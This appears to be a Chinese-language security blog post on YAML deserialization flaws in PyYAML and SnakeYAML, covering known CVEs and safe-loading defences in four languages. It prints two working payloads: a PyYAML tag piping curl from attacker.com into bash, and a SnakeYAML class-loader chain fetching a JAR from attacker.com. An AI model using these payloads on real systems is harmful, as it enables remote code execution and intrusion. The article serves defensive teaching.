YAML 反序列化漏洞为什么危险?真实攻击案例与防御方法
YAML 反序列化漏洞不是理论风险。2022 年曝光的 CVE-2022-1471 让整个 Java 生态紧张——SnakeYAML 在 2.0 之前的所有版本都可能被一行 YAML 执行任意代码。Python 那边也没好到哪去,PyYAML 的 yaml.load() 在 5.1 之前默认允许实例化任意 Python 对象。
这篇文章把 YAML 最危险的安全风险、真实攻击手法、以及每个语言该用的防御方案讲清楚。
最危险的风险:反序列化远程代码执行
YAML 规范允许在文档中使用类型标签(tag),比如 !!python/object/apply:os.system 或 !!javax.script.ScriptEngineManager。这些标签告诉解析器:不要把这个值当字符串,实例化一个具体的类。
问题出在:如果你用不安全的加载方式解析不可信的 YAML 输入,攻击者就能指定任意类并执行代码。
Python 真实攻击手法
PyYAML 的 yaml.load() 在 5.1 之前默认使用 FullLoader,允许 !!python/object 系列标签。攻击者构造这样的 YAML:
yaml!!python/object/apply:os.system args: ['curl http://attacker.com/shell.sh | bash']
一行 YAML,服务器就被拿下了。这不需要什么复杂技巧,subprocess.Popen、os.system 都可以被直接调用。
相关 CVE:
- CVE-2017-18342:通过
subprocess.Popen实现任意代码执行 - CVE-2020-1747:
python/object/new构造器绕过修复 - CVE-2020-14343:对 CVE-2020-1747 的不完整修复,5.4 之前版本仍受影响
- CVE-2026-24009:Docling Core 因 PyYAML 不安全反序列化导致 RCE
Java 真实攻击手法(CVE-2022-1471)
SnakeYAML 的默认 Constructor() 类不限制可实例化的 Java 类。攻击者构造恶意 YAML:
yaml!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/malware.jar"] ]] ]
这段 YAML 让服务器从攻击者控制的 URL 下载 JAR 文件并执行。更凶狠的利用链还能通过 JdbcRowSetImpl 发起 LDAP 请求,手法类似 Log4Shell。
SnakeYAML 官方对此的态度争议很大——他们认为库的使用场景只接收可信数据源,所以不承认这是漏洞。但现实是大量应用用它来解析用户上传的配置文件。Spring Boot 因为只用它解析应用自身的配置文件(可信输入),所以不受影响。
其他安全风险
类型混淆
YAML 的自动类型推断会让你踩坑:
yamlenabled: yes # 布尔值 true,不是字符串 "yes" version: 1.0 # 浮点数,不是字符串 port: 0600 # 八进制 384,不是 600 password: "123456" # 字符串 password: 123456 # 整数,验证逻辑可能不一致
这些隐式转换在配置文件中可能导致验证逻辑出错,攻击者利用类型差异绕过安全检查。
资源耗尽(DoS)
深度嵌套或超大的 YAML 文件能让解析器吃光内存或栈溢出。这种攻击不需要复杂的 payload,一个几十 MB 的 YAML 文件就够了。
yamla: b: c: d: e: f: g: h: i: j: k: value # 继续嵌套几百层...
敏感信息泄露
YAML 配置文件里硬编码数据库密码、API Key 是常见操作。如果文件权限没管好或误提交到 Git,等于把钥匙放在门口。
防御方案:每个语言的安全写法
Python:只用 safe_load
pythonimport yaml # 安全 data = yaml.safe_load(yaml_string) # 显式指定 SafeLoader(效果相同) data = yaml.load(yaml_string, Loader=yaml.SafeLoader) # 绝对不要用这些 # yaml.load(yaml_string) # 5.1 之前默认不安全 # yaml.unsafe_load(yaml_string) # 明确允许任意对象实例化 # yaml.full_load(yaml_string) # 仍允许部分不安全标签
输出时也要注意,用 safe_dump 而非 dump,避免序列化带标签的对象。
Java:用 SafeConstructor 或升级 SnakeYAML 2.0+
java// 安全写法:SafeConstructor 限制可实例化的类 Yaml yaml = new Yaml(new SafeConstructor()); Map<String, Object> data = yaml.load(inputStream); // 危险:默认 Constructor 不限制类实例化 // Yaml yaml = new Yaml(); // 别这么写
SnakeYAML 2.0+ 版本默认使用更安全的构造器,如果项目允许升级,这是最简单的修复方式。
JavaScript:js-yaml 默认安全
javascriptconst yaml = require('js-yaml'); // js-yaml 的 load() 默认使用 DEFAULT_SCHEMA,不支持 !!js/function 等危险标签 // 安全 const data = yaml.load(fs.readFileSync('config.yaml', 'utf8')); // 如果需要更严格的控制 const data = yaml.load(content, { schema: yaml.JSON_SCHEMA });
js-yaml 在较新版本中已经把 safeLoad() 废弃了,因为 load() 默认就是安全的。但要确认你用的是 4.0+ 版本。
Go:gopkg.in/yaml.v3 默认安全
goimport "gopkg.in/yaml.v3" // Go 的 YAML 库不支持任意类型标签,默认安全 var data map[string]interface{} err := yaml.Unmarshal([]byte(yamlContent), &data)
Go 的 YAML 库设计上就不支持 Java/Python 那样的任意类实例化,所以反序列化 RCE 在 Go 里不是问题。
通用防御策略
光用 safe_load 不够,还需要几道防线:
输入验证和 Schema 校验
pythonimport yaml from jsonschema import validate schema = { "type": "object", "properties": { "name": {"type": "string"}, "port": {"type": "integer", "minimum": 1, "maximum": 65535} }, "required": ["name"], "additionalProperties": False } data = yaml.safe_load(user_input) validate(instance=data, schema=schema) # 不符合 schema 直接报错
additionalProperties: False 很关键——它阻止攻击者注入 schema 之外的字段。
限制文件大小和嵌套深度
pythonMAX_YAML_SIZE = 10 * 1024 * 1024 # 10MB class DepthLimitingLoader(yaml.SafeLoader): def __init__(self, stream): super().__init__(stream) self.depth = 0 self.max_depth = 10 def construct_mapping(self, node, deep=False): if self.depth > self.max_depth: raise ValueError("嵌套层级超过限制") self.depth += 1 try: return super().construct_mapping(node, deep) finally: self.depth -= 1 def load_yaml_safely(content): if len(content) > MAX_YAML_SIZE: raise ValueError("文件超过大小限制") return yaml.load(content, Loader=DepthLimitingLoader)
不要硬编码敏感信息
yaml# 危险 database: host: db.example.com password: mysecretpassword123 # 安全:通过环境变量注入 database: host: ${DB_HOST} password: ${DB_PASSWORD}
配合 Vault、AWS Secrets Manager 等密钥管理工具,密码永远不出现在代码仓库里。
安全审计工具
bash# yamllint 检查 YAML 格式问题 yamllint config.yaml # Bandit 扫描 Python 代码中的 yaml.unsafe_load 调用 bandit -r my_project/ # Snyk 检查依赖中的已知漏洞 snyk test
不同场景的安全要点
| 场景 | 风险等级 | 关键措施 |
|---|---|---|
| 应用配置文件 | 低 | 文件由开发团队控制,确保权限和 Git 忽略规则正确 |
| 用户上传的 YAML | 高 | 必须 safe_load + Schema 验证 + 大小限制 |
| CI/CD Pipeline 配置 | 中 | 限制变量注入,检查 .yml 文件变更的 PR |
| 第三方 API 返回的 YAML | 高 | 当作不可信输入处理,和用户上传同样对待 |
一句话总结:永远不要用不安全的加载方式解析不可信来源的 YAML。Python 用 safe_load,Java 用 SafeConstructor,JavaScript 和 Go 默认安全。再加上 Schema 验证和大小限制,基本上可以把 YAML 的安全风险封死。